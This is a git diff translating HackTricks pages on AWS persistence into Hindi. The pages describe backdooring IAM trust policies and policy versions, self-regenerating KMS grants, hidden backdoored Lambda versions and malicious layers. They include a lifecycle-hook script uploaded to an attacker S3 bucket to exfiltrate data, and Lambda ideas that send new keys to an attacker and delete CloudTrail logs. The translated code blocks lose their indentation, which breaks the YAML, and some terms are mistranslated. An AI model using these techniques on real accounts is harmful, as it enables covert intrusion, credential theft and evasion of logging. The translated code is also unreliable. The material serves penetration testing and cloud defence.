AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**. +AWS खाते के अंदर स्थिरता बनाए रखने के लिए, कुछ **स्थिरता तंत्र को Instance के अंदर पेश किया जा सकता है** (cron job, ssh key...) ताकि हमलावर इसे एक्सेस कर सके और IAM भूमिका **क्रेडेंशियल्स को मेटाडेटा सेवा से चुरा सके**। -### Backdoor in Version +### Version में Backdoor -An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code. +एक हमलावर S3 repo के अंदर कोड में बैकडोर डाल सकता है ताकि यह हमेशा अपने बैकडोर और अपेक्षित कोड को निष्पादित करे। -### New backdoored version +### नया बैकडोर संस्करण -Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application. +वास्तविक संस्करण पर कोड को बदलने के बजाय, हमलावर एप्लिकेशन का एक नया बैकडोर संस्करण तैनात कर सकता है। -### Abusing Custom Resource Lifecycle Hooks +### कस्टम रिसोर्स लाइफसाइकिल हुक का दुरुपयोग > [!NOTE] > TODO: Test -Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**. - +Elastic Beanstalk लाइफसाइकिल हुक प्रदान करता है जो आपको Instance प्रावधान और समाप्ति के दौरान कस्टम स्क्रिप्ट चलाने की अनुमति देता है। एक हमलावर **एक लाइफसाइकिल हुक को कॉन्फ़िगर कर सकता है जो डेटा को निकालने या AWS खाते तक पहुंच बनाए रखने के लिए समय-समय पर एक स्क्रिप्ट निष्पादित करता है**। ```bash bashCopy code# Attacker creates a script that exfiltrates data and maintains access echo '#!/bin/bash @@ -42,40 +41,35 @@ aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hoo # Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook echo 'Resources: - AWSEBAutoScalingGroup: - Metadata: - AWS::ElasticBeanstalk::Ext: - TriggerConfiguration: - triggers: - - name: stealthy-lifecycle-hook - events: - - "autoscaling:EC2_INSTANCE_LAUNCH" - - "autoscaling:EC2_INSTANCE_TERMINATE" - target: - ref: "AWS::ElasticBeanstalk::Environment" - arn: - Fn::GetAtt: - - "AWS::ElasticBeanstalk::Environment" - - "Arn" - stealthyLifecycleHook: - Type: AWS::AutoScaling::LifecycleHook - Properties: - AutoScalingGroupName: - Ref: AWSEBAutoScalingGroup - LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING - NotificationTargetARN: - Ref: stealthy-lifecycle-hook - RoleARN: - Fn::GetAtt: - - AWSEBAutoScalingGroup - - Arn' > stealthy_lifecycle_hook.yaml +AWSEBAutoScalingGroup: +Metadata: +AWS::ElasticBeanstalk::Ext: +TriggerConfiguration: +triggers: +- name: stealthy-lifecycle-hook +events: +- "autoscaling:EC2_INSTANCE_LAUNCH" +- "autoscaling:EC2_INSTANCE_TERMINATE" +target: +ref: "AWS::ElasticBeanstalk::Environment" +arn: +Fn::GetAtt: +- "AWS::ElasticBeanstalk::Environment" +- "Arn" +stealthyLifecycleHook: +Type: AWS::AutoScaling::LifecycleHook +Properties: +AutoScalingGroupName: +Ref: AWSEBAutoScalingGroup +LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING +NotificationTargetARN: +Ref: stealthy-lifecycle-hook +RoleARN: +Fn::GetAtt: +- AWSEBAutoScalingGroup +- Arn' > stealthy_lifecycle_hook.yaml # Attacker applies the new environment configuration aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml" ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md index e3e1944e7..8b9285d61 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md @@ -4,50 +4,44 @@ ## IAM -For more information access: +अधिक जानकारी के लिए पहुँचें: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} -### Common IAM Persistence +### सामान्य IAM स्थिरता -- Create a user -- Add a controlled user to a privileged group -- Create access keys (of the new user or of all users) -- Grant extra permissions to controlled users/groups (attached policies or inline policies) -- Disable MFA / Add you own MFA device -- Create a Role Chain Juggling situation (more on this below in STS persistence) +- एक उपयोगकर्ता बनाएं +- एक नियंत्रित उपयोगकर्ता को एक विशेष समूह में जोड़ें +- एक्सेस कुंजी बनाएं (नए उपयोगकर्ता या सभी उपयोगकर्ताओं की) +- नियंत्रित उपयोगकर्ताओं/समूहों को अतिरिक्त अनुमतियाँ दें (संलग्न नीतियाँ या इनलाइन नीतियाँ) +- MFA को निष्क्रिय करें / अपना खुद का MFA उपकरण जोड़ें +- एक भूमिका श्रृंखला जुग्गलिंग स्थिति बनाएं (इस पर नीचे STS स्थिरता में अधिक) -### Backdoor Role Trust Policies - -You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone): +### बैकडोर भूमिका ट्रस्ट नीतियाँ +आप एक ट्रस्ट नीति में बैकडोर कर सकते हैं ताकि आप इसे एक बाहरी संसाधन के लिए मान लें जो आपके द्वारा नियंत्रित है (या सभी के लिए): ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": ["*", "arn:aws:iam::123213123123:root"] - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": ["*", "arn:aws:iam::123213123123:root"] +}, +"Action": "sts:AssumeRole" +} +] } ``` +### बैकडोर नीति संस्करण -### Backdoor Policy Version +एक नीति को उसके अंतिम संस्करण में नहीं, बल्कि एक संस्करण में व्यवस्थापक अनुमतियाँ दें (अंतिम संस्करण को वैध दिखना चाहिए), फिर उस नीति के संस्करण को एक नियंत्रित उपयोगकर्ता/समूह को सौंपें। -Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group. +### बैकडोर / पहचान प्रदाता बनाना -### Backdoor / Create Identity Provider - -If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them. +यदि खाता पहले से ही एक सामान्य पहचान प्रदाता (जैसे Github) पर भरोसा कर रहा है, तो विश्वास की शर्तों को बढ़ाया जा सकता है ताकि हमलावर उनका दुरुपयोग कर सके। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md index 7aefbd410..69c9b2f8d 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md @@ -4,40 +4,34 @@ ## KMS -For mor information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-kms-enum.md {{#endref}} -### Grant acces via KMS policies +### KMS नीतियों के माध्यम से पहुँच प्रदान करें -An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information. +एक हमलावर **`kms:PutKeyPolicy`** अनुमति का उपयोग करके एक कुंजी को अपने नियंत्रण में एक उपयोगकर्ता या यहां तक कि एक बाहरी खाते को **पहुँच देने** के लिए उपयोग कर सकता है। अधिक जानकारी के लिए [**KMS Privesc पृष्ठ**](../aws-privilege-escalation/aws-kms-privesc.md) देखें। -### Eternal Grant +### शाश्वत अनुदान -Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key. +अनुदान किसी विशेष कुंजी पर एक प्रमुख को कुछ अनुमतियाँ देने का एक और तरीका है। यह संभव है कि एक अनुदान दिया जाए जो एक उपयोगकर्ता को अनुदान बनाने की अनुमति देता है। इसके अलावा, एक उपयोगकर्ता के पास एक ही कुंजी पर कई अनुदान (यहां तक कि समान) हो सकते हैं। -Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated. - -(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant) +इसलिए, एक उपयोगकर्ता के पास सभी अनुमतियों के साथ 10 अनुदान हो सकते हैं। हमलावर को इसे लगातार मॉनिटर करना चाहिए। और यदि किसी बिंदु पर 1 अनुदान हटा दिया जाता है, तो अन्य 10 उत्पन्न किए जाने चाहिए। +(हम 10 का उपयोग कर रहे हैं और 2 का नहीं ताकि यह पता चल सके कि एक अनुदान हटा दिया गया था जबकि उपयोगकर्ता के पास अभी भी कुछ अनुदान हैं) ```bash # To generate grants, generate 10 like this one aws kms create-grant \ - --key-id \ - --grantee-principal \ - --operations "CreateGrant" "Decrypt" +--key-id \ +--grantee-principal \ +--operations "CreateGrant" "Decrypt" # To monitor grants aws kms list-grants --key-id ``` - > [!NOTE] -> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) +> एक ग्रांट केवल इस से अनुमति दे सकता है: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index 1390c2d55..6a14e72d9 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -4,7 +4,7 @@ ## Lambda -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../../aws-services/aws-lambda-enum.md @@ -12,7 +12,7 @@ For more information check: ### Lambda Layer Persistence -It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way: +यह संभव है कि **कोई लेयर पेश की जाए/बैकडोर किया जाए ताकि जब लैम्ब्डा निष्पादित हो, तो मनमाना कोड चल सके**: {{#ref}} aws-lambda-layers-persistence.md @@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md ### Lambda Extension Persistence -Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests. +Lambda Layers का दुरुपयोग करते हुए, यह भी संभव है कि एक्सटेंशन का दुरुपयोग किया जाए और लैम्ब्डा में स्थायी रूप से बने रहें, लेकिन साथ ही अनुरोधों को चुराएं और संशोधित करें। {{#ref}} aws-abusing-lambda-extensions.md @@ -28,41 +28,37 @@ aws-abusing-lambda-extensions.md ### Via resource policies -It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts: +यह संभव है कि विभिन्न लैम्ब्डा क्रियाओं (जैसे कि इनवोक या कोड अपडेट) के लिए बाहरी खातों को पहुंच प्रदान की जाए:
### Versions, Aliases & Weights -A Lambda can have **different versions** (with different code each version).\ -Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\ -This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth. +एक Lambda में **विभिन्न संस्करण हो सकते हैं** (प्रत्येक संस्करण के साथ अलग कोड)।\ +फिर, आप लैम्ब्डा के **विभिन्न संस्करणों के साथ विभिन्न उपनाम बना सकते हैं** और प्रत्येक को अलग वजन सेट कर सकते हैं।\ +इस तरह एक हमलावर **बैकडोर संस्करण 1** और **केवल वैध कोड के साथ संस्करण 2** बना सकता है और **केवल 1%** अनुरोधों में संस्करण 1 को निष्पादित कर सकता है ताकि वह छिपा रहे।
### Version Backdoor + API Gateway -1. Copy the original code of the Lambda -2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST - 1. Call the API gateway related to the lambda to execute the code -3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST. - 1. This will hide the backdoored code in a previous version -4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1::function::1` - 1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario). -5. Select the POST method created and in Actions select **`Deploy API`** -6. Now, when you **call the function via POST your Backdoor** will be invoked +1. Lambda का मूल कोड कॉपी करें +2. **मूल कोड को बैकडोर करते हुए एक नया संस्करण बनाएं** (या केवल दुर्भावनापूर्ण कोड के साथ)। उस संस्करण को प्रकाशित करें और **$LATEST पर तैनात करें** +1. कोड निष्पादित करने के लिए लैम्ब्डा से संबंधित API गेटवे को कॉल करें +3. **मूल कोड के साथ एक नया संस्करण बनाएं**, उस **संस्करण को प्रकाशित करें** और **$LATEST पर तैनात करें**। +1. यह पिछले संस्करण में बैकडोर कोड को छिपा देगा +4. API गेटवे पर जाएं और **एक नया POST विधि बनाएं** (या कोई अन्य विधि चुनें) जो लैम्ब्डा के बैकडोर संस्करण को निष्पादित करेगा: `arn:aws:lambda:us-east-1::function::1` +1. अंतिम :1 को ध्यान में रखें जो **कार्य के संस्करण को इंगित करता है** (इस परिदृश्य में संस्करण 1 बैकडोर वाला होगा)। +5. बनाए गए POST विधि का चयन करें और क्रियाओं में **`Deploy API`** चुनें +6. अब, जब आप **POST के माध्यम से कार्य को कॉल करेंगे, तो आपका बैकडोर** सक्रिय होगा ### Cron/Event actuator -The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\ -Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**. +यह तथ्य कि आप **लैम्ब्डा कार्यों को तब चला सकते हैं जब कुछ होता है या जब कुछ समय बीतता है** लैम्ब्डा को स्थायीता प्राप्त करने और पहचान से बचने का एक अच्छा और सामान्य तरीका बनाता है।\ +यहां आपके **AWS में उपस्थिति को अधिक छिपाने के लिए लैम्ब्डा बनाने के कुछ विचार हैं**। -- Every time a new user is created lambda generates a new user key and send it to the attacker. -- Every time a new role is created lambda gives assume role permissions to compromised users. -- Every time new cloudtrail logs are generated, delete/alter them +- हर बार जब एक नया उपयोगकर्ता बनाया जाता है, तो लैम्ब्डा एक नया उपयोगकर्ता कुंजी उत्पन्न करता है और इसे हमलावर को भेजता है। +- हर बार जब एक नई भूमिका बनाई जाती है, तो लैम्ब्डा समझौता किए गए उपयोगकर्ताओं को भूमिका मानने की अनुमति देता है। +- हर बार जब नए क्लाउडट्रेल लॉग उत्पन्न होते हैं, तो उन्हें हटा दें/संशोधित करें {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md index 71655ada0..fbaed2c80 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -4,43 +4,39 @@ ## Lambda Extensions -Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**. +Lambda extensions कार्यों को विभिन्न **निगरानी, अवलोकन, सुरक्षा, और शासन उपकरणों** के साथ एकीकृत करके बढ़ाते हैं। ये एक्सटेंशन [.zip आर्काइव का उपयोग करके Lambda लेयर्स](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) के माध्यम से जोड़े जाते हैं या [कंटेनर इमेज डिप्लॉयमेंट्स](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) में शामिल होते हैं, और दो मोड में कार्य करते हैं: **आंतरिक** और **बाहरी**। -- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**. -- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**. +- **आंतरिक एक्सटेंशन** रनटाइम प्रक्रिया के साथ विलीन होते हैं, इसके स्टार्टअप को **भाषा-विशिष्ट पर्यावरण चर** और **रैपर स्क्रिप्ट** का उपयोग करके संशोधित करते हैं। यह अनुकूलन विभिन्न रनटाइम्स पर लागू होता है, जिसमें **Java Correto 8 और 11, Node.js 10 और 12, और .NET Core 3.1** शामिल हैं। +- **बाहरी एक्सटेंशन** अलग प्रक्रियाओं के रूप में चलते हैं, Lambda फ़ंक्शन के जीवन चक्र के साथ संचालन संरेखण बनाए रखते हैं। ये विभिन्न रनटाइम्स के साथ संगत हैं जैसे **Node.js 10 और 12, Python 3.7 और 3.8, Ruby 2.5 और 2.7, Java Corretto 8 और 11, .NET Core 3.1**, और **कस्टम रनटाइम्स**। -For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html). +[**कैसे lambda extensions काम करते हैं, इसके बारे में अधिक जानकारी के लिए दस्तावेज़ देखें**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html)। -### External Extension for Persistence, Stealing Requests & modifying Requests +### स्थिरता, अनुरोध चुराने और अनुरोधों को संशोधित करने के लिए बाहरी एक्सटेंशन -This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) +यह इस पोस्ट में प्रस्तावित तकनीक का सारांश है: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) -It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.** +यह पाया गया कि Lambda रनटाइम वातावरण में डिफ़ॉल्ट Linux कर्नेल “**process_vm_readv**” और “**process_vm_writev**” सिस्टम कॉल के साथ संकलित है। और सभी प्रक्रियाएँ एक ही उपयोगकर्ता आईडी के साथ चलती हैं, यहां तक कि बाहरी एक्सटेंशन के लिए बनाई गई नई प्रक्रिया भी। **इसका मतलब है कि एक बाहरी एक्सटेंशन को डिज़ाइन के अनुसार Rapid की हीप मेमोरी तक पूर्ण पढ़ने और लिखने की पहुंच है।** -Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request. +इसके अलावा, जबकि Lambda एक्सटेंशन **आह्वान घटनाओं की सदस्यता लेने** की क्षमता रखते हैं, AWS इन एक्सटेंशनों को कच्चा डेटा नहीं दिखाता। यह सुनिश्चित करता है कि **एक्सटेंशन संवेदनशील जानकारी** तक पहुंच नहीं प्राप्त कर सकते जो HTTP अनुरोध के माध्यम से भेजी जाती है। -The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid. +Init (Rapid) प्रक्रिया सभी API अनुरोधों की निगरानी करती है [http://127.0.0.1:9001](http://127.0.0.1:9001/) जबकि Lambda एक्सटेंशन प्रारंभ होते हैं और किसी भी रनटाइम कोड के निष्पादन से पहले चलते हैं, लेकिन Rapid के बाद।

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png

-The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions. +चर **`AWS_LAMBDA_RUNTIME_API`** Rapid API का **IP** पता और **पोर्ट** संख्या **बच्चे रनटाइम प्रक्रियाओं** और अतिरिक्त एक्सटेंशनों को इंगित करता है। > [!WARNING] -> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number. +> **`AWS_LAMBDA_RUNTIME_API`** पर्यावरण चर को एक **`पोर्ट`** में बदलकर, जिसके पास हम पहुंच रखते हैं, Lambda रनटाइम के भीतर सभी क्रियाओं को इंटरसेप्ट करना संभव है (**मैन-इन-द-मिडल**)। यह संभव है क्योंकि एक्सटेंशन Rapid Init के समान विशेषाधिकारों के साथ चलता है, और सिस्टम का कर्नेल **प्रक्रिया मेमोरी में संशोधन** की अनुमति देता है, जिससे पोर्ट संख्या को बदलना संभव होता है। -Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment. +क्योंकि **एक्सटेंशन किसी भी रनटाइम कोड से पहले चलते हैं**, पर्यावरण चर को संशोधित करने से रनटाइम प्रक्रिया (जैसे, Python, Java, Node, Ruby) पर प्रभाव पड़ेगा जब यह शुरू होता है। इसके अलावा, **हमारे बाद लोड किए गए एक्सटेंशन**, जो इस चर पर निर्भर करते हैं, वे भी हमारे एक्सटेंशन के माध्यम से रूट करेंगे। यह सेटअप मैलवेयर को सुरक्षा उपायों या लॉगिंग एक्सटेंशनों को पूरी तरह से बायपास करने की अनुमति दे सकता है जो सीधे रनटाइम वातावरण के भीतर हैं।

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png

-The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**. +उपकरण [**lambda-spy**](https://github.com/clearvector/lambda-spy) को **मेमोरी लिखने** और Lambda अनुरोधों से **संवेदनशील जानकारी चुराने** के लिए बनाया गया था, अन्य **एक्सटेंशनों** के **अनुरोधों** और यहां तक कि **उन्हें संशोधित करने** के लिए। -## References +## संदर्भ - [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/) - [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md index f8a5e2868..aad4d36ff 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md @@ -4,79 +4,72 @@ ## Lambda Layers -A Lambda layer is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files. +एक Lambda लेयर एक .zip फ़ाइल संग्रह है जो **अतिरिक्त कोड** या अन्य सामग्री **शामिल कर सकता है**। एक लेयर में पुस्तकालय, एक [कस्टम रनटाइम](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), डेटा, या कॉन्फ़िगरेशन फ़ाइलें हो सकती हैं। -It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment. +आप **प्रत्येक फ़ंक्शन के लिए पांच लेयर्स** तक शामिल कर सकते हैं। जब आप किसी फ़ंक्शन में एक लेयर शामिल करते हैं, तो **सामग्री को `/opt`** निर्देशिका में निष्पादन वातावरण में निकाला जाता है। -By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version. +**डिफ़ॉल्ट रूप से**, जो **लेयर्स** आप बनाते हैं वे आपके AWS खाते के लिए **निजी** होती हैं। आप एक लेयर को अन्य खातों के साथ **साझा** करने या लेयर को **सार्वजनिक** बनाने का विकल्प चुन सकते हैं। यदि आपके फ़ंक्शन किसी अन्य खाते द्वारा प्रकाशित की गई लेयर का उपयोग करते हैं, तो आपके फ़ंक्शन **लेयर संस्करण का उपयोग जारी रख सकते हैं, भले ही इसे हटा दिया गया हो, या आपके लेयर तक पहुँचने की अनुमति को रद्द कर दिया गया हो**। हालाँकि, आप एक नई फ़ंक्शन नहीं बना सकते या हटाई गई लेयर संस्करण का उपयोग करके फ़ंक्शंस को अपडेट नहीं कर सकते। -Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image. +कंटेनर इमेज के रूप में तैनात फ़ंक्शन लेयर्स का उपयोग नहीं करते हैं। इसके बजाय, आप इमेज बनाने के समय अपने पसंदीदा रनटाइम, पुस्तकालयों और अन्य निर्भरताओं को कंटेनर इमेज में पैकेज करते हैं। ### Python load path -The load path that Python will use in lambda is the following: - +Python द्वारा lambda में उपयोग किया जाने वाला लोड पथ निम्नलिखित है: ``` ['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages'] ``` - -Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`** +चेक करें कि **दूसरे** और तीसरे **स्थान** पर वे निर्देशिकाएँ हैं जहाँ **lambda layers** अपनी फ़ाइलें अनकंप्रेस करती हैं: **`/opt/python/lib/python3.9/site-packages`** और **`/opt/python`** > [!CAUTION] -> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation. +> यदि एक हमलावर एक उपयोग की गई lambda **layer** में **बैकडोर** डालने में सफल हो जाता है या **एक ऐसा जोड़ता है** जो **एक सामान्य पुस्तकालय लोड होने पर मनमाना कोड निष्पादित करेगा**, तो वह प्रत्येक lambda कॉल के साथ दुर्भावनापूर्ण कोड निष्पादित करने में सक्षम होगा। -Therefore, the requisites are: +इसलिए, आवश्यकताएँ हैं: -- **Check libraries** that are **loaded** by the victims code -- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library. +- **चेक करें पुस्तकालय** जो **पीड़ित के कोड** द्वारा **लोड** किए गए हैं +- एक **प्रॉक्सी लाइब्रेरी बनाएं जो lambda layers** के साथ **कस्टम कोड निष्पादित करेगी** और **मूल** पुस्तकालय को **लोड** करेगी। -### Preloaded libraries +### प्रीलोडेड पुस्तकालय > [!WARNING] -> When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\ -> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed. - -With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda: +> इस तकनीक का दुरुपयोग करते समय मुझे एक कठिनाई मिली: कुछ पुस्तकालय **पहले से ही लोड** होते हैं जब आपका कोड निष्पादित होता है। मैं `os` या `sys` जैसी चीजें खोजने की उम्मीद कर रहा था, लेकिन **यहाँ तक कि `json` पुस्तकालय भी लोड हो चुका था**।\ +> इस स्थायी तकनीक का दुरुपयोग करने के लिए, कोड को **एक नया पुस्तकालय लोड करना होगा जो लोड नहीं होता** जब कोड निष्पादित होता है। +इस तरह के एक पायथन कोड के साथ यह संभव है कि **पुस्तकों की सूची प्राप्त की जाए जो प्रीलोडेड** हैं पायथन रनटाइम के अंदर lambda में: ```python import sys def lambda_handler(event, context): - return { - 'statusCode': 200, - 'body': str(sys.modules.keys()) - } +return { +'statusCode': 200, +'body': str(sys.modules.keys()) +} ``` - -And this is the **list** (check that libraries like `os` or `json` are already there) - +और यह **सूची** है (जांचें कि `os` या `json` जैसी पुस्तकालय पहले से मौजूद हैं) ``` 'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 